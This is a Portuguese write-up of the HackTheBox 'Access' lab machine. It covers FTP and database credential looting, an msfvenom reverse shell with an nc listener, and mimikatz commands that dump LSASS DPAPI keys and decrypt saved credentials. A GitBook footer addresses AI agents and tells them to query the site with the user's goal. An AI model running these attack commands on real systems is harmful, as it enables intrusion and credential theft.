> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/access-hackthebox-writeup.md). # Resolução do HackTheBox Access {% embed url="" %} {% hint style="warning" %} **Habilidades:** * Enumeração FTP * Extração de banco de dados do Microsoft Access * Análise de PST, credenciais armazenadas do Windows * DPAPI. {% endhint %} ## Reconhecimento Crie um espaço de trabalho e confirme que o alvo está acessível. {% code overflow="wrap" %} ```bash mkdir Access cd !$ ping -c 1 10.129.6.20 settarget Access 10.129.6.20 ``` {% endcode %} O alvo é um host Windows.
Execute uma varredura completa de portas TCP. {% code overflow="wrap" %} ```bash sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.6.20 -oG allPorts ``` {% endcode %}
A varredura identifica FTP, Telnet e HTTP nas portas `21`, `23`, e `80`. Enumere suas versões de serviço. {% code overflow="wrap" %} ```bash nmap -sCV -p21,23,80 10.129.6.20 -oN targeted ``` {% endcode %}
O acesso FTP anônimo está habilitado. {% code overflow="wrap" %} ```bash ftp anonymous@10.129.6.20 ``` {% endcode %} O servidor FTP contém os `Backups` e `Engineer` diretórios.
Download `backup.mdb` de `Backups` no modo binário. Baixe `Access Control.zip` de `Engineer`.
Liste as tabelas no banco de dados do Microsoft Access. {% code overflow="wrap" %} ```bash mdb-tables backup.mdb ``` {% endcode %}
Exporte cada tabela para CSV para revisão. {% code overflow="wrap" %} ```bash for table in $(mdb-tables backup.mdb); do mdb-export backup.mdb "$table" > "$table.csv" done ``` {% endcode %}
O `auth_user.csv` a exportação contém credenciais. {% code overflow="wrap" %} ```bash id,username,password,Status,last_login,RoleID,Remark 25,"admin","admin",1,"08/23/18 21:11:47",26, 27,"engineer","access4u@security",1,"08/23/18 21:13:36",26, 28,"backup_admin","admin",1,"08/23/18 21:14:02",26, ``` {% endcode %}
Use o `engineer` senha para extrair o arquivo. {% code overflow="wrap" %} ```bash 7z x Access\ Control.zip access4u@security ``` {% endcode %} O arquivo contém um arquivo PST do Outlook. > Access Control.pst: Armazenamento Pessoal do Microsoft Outlook (>=2003, Unicode, versão 23), dwReserved1=0x234, dwReserved2=0x22f3a, bidUnused=0000000000000000, dwUnique=0x39, 271360 bytes, bCryptMethod=1, CRC32 0x744a1e2e
Extraia as mensagens do PST. {% code overflow="wrap" %} ```bash readpst -cv -e -o output Access\ Control.pst ``` {% endcode %} Isso cria um `.eml` arquivo de mensagem.
O e-mail revela a `security` senha da conta. {% code overflow="wrap" %} ```bash Olá, A senha da conta “security” foi alterada para 4Cc3ssC0ntr0ller. Certifique-se de repassar isso aos seus engenheiros. Atenciosamente, John ``` {% endcode %}
Faça login no Telnet como `security`. {% code overflow="wrap" %} ```bash telnet 10.129.6.20 23 ``` {% endcode %} * security * 4Cc3ssC0ntr0ller
Recupere `user.txt`.
### Escalonamento de privilégio com credenciais armazenadas Liste as credenciais armazenadas pelo Windows. {% code overflow="wrap" %} ```bash cmdkey /list ``` {% endcode %}
A credencial armazenada `ACCESS\Administrator` pode executar um processo com `runas /savecred`. Crie uma carga útil de shell reversa. {% code overflow="wrap" %} ```bash msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.15.2 LPORT=1234 -f exe > nikos.exe ``` {% endcode %} Transferir `nikos.exe` para o alvo. Em seguida, inicie um listener na porta `1234`. {% code overflow="wrap" %} ```bash nc -nlvp 1234 ``` {% endcode %} Execute a carga útil como `ACCESS\Administrator`. {% code overflow="wrap" %} ```bash runas /savecred /user:ACCESS\Administrator "nikos.exe" ``` {% endcode %} A conexão reversa é executada como Administrador.
Recupere `root.txt`.
### Recuperando a credencial de administrador salva A credencial salva está protegida com DPAPI. Recupere seu segredo do `security` perfil. #### Localize os blobs de credenciais Os blobs estão no `security` perfil. Use `/a` porque os arquivos estão ocultos. {% code overflow="wrap" %} ```bash dir /a C:\Users\security\AppData\Roaming\Microsoft\Credentials ``` {% endcode %} * `0F16D9D2A97B325E559235F507B7AB01` * `51AB168BE4BDB3A603DADE4F8CA81290`
O blob correto é `51AB168BE4BDB3A603DADE4F8CA81290`. Seu `08/22/2018` carimbo de data/hora corresponde à Área de Trabalho Pública `.lnk` arquivo. O outro blob foi criado durante a avaliação. #### Identifique o GUID da chave mestra Inspecione o blob para identificar a chave mestra DPAPI necessária. {% code overflow="wrap" %} ```bash mimikatz.exe "dpapi::cred /in:C:\Users\security\AppData\Roaming\Microsoft\Credentials\51AB168BE4BDB3A603DADE4F8CA81290" "exit" ``` {% endcode %} Anote o GUID da chave mestra. * guidMasterKey: 0792c32e-48a5-4fe3-8b43-d93d64590580
#### Verifique o LSASS em busca da chave mestra Faça o dump das chaves mestras DPAPI carregadas no LSASS. {% code overflow="wrap" %} ```bash mimikatz.exe "privilege::debug" "sekurlsa::dpapi" "exit" ``` {% endcode %} O GUID necessário `{0792c32e-...}` está ausente. Isso acontece porque: * A chave mestra pertence ao `security` perfil. * A sessão atual é executada como `Administrador`. * O `security` a chave mestra não está carregada neste contexto. O dump contém apenas chaves mestras para `Administrador` e `ACCESS$`. ``` GUID : {9851d4a5-f9b1-4277-b4ee-188e11f8e997} → Administrador GUID : {43ea2159-28dc-4507-90bd-751f19e7db5d} → ACCESS$ ``` #### Descriptografe a chave mestra do disco Descriptografe a chave mestra diretamente do disco. Use o conhecido `security` senha. Primeiro, localize o arquivo da chave mestra. {% code overflow="wrap" %} ```bash dir /a C:\Users\security\AppData\Roaming\Microsoft\Protect\S-1-5-21-953262931-566350628-63446256-1001 ``` {% endcode %} {% hint style="info" %} O `security` O SID termina com `-1001`. O SID do Administrador termina com `-500`. {% endhint %} Descriptografe a chave mestra com o Mimikatz. {% code overflow="wrap" %} ```bash mimikatz.exe "dpapi::masterkey /in:C:\Users\security\AppData\Roaming\Microsoft\Protect\S-1-5-21-953262931-566350628-63446256-1001\0792c32e-48a5-4fe3-8b43-d93d64590580 /sid:S-1-5-21-953262931-566350628-63446256-1001 /password:4Cc3ssC0ntr0ller" "exit" ``` {% endcode %} O SHA-1 da chave mestra é `bf6d0654ef999c3ad5b09692944da3c0d0b68afe`.
#### Descriptografe o blob de credencial Use o SHA-1 da chave mestra para descriptografar o blob de credencial e recuperar a senha salva. {% code overflow="wrap" %} ```bash mimikatz.exe "dpapi::cred /in:C:\Users\security\AppData\Roaming\Microsoft\Credentials\51AB168BE4BDB3A603DADE4F8CA81290 /masterkey:bf6d0654ef999c3ad5b09692944da3c0d0b68afe" "exit" ``` {% endcode %}
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/access-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.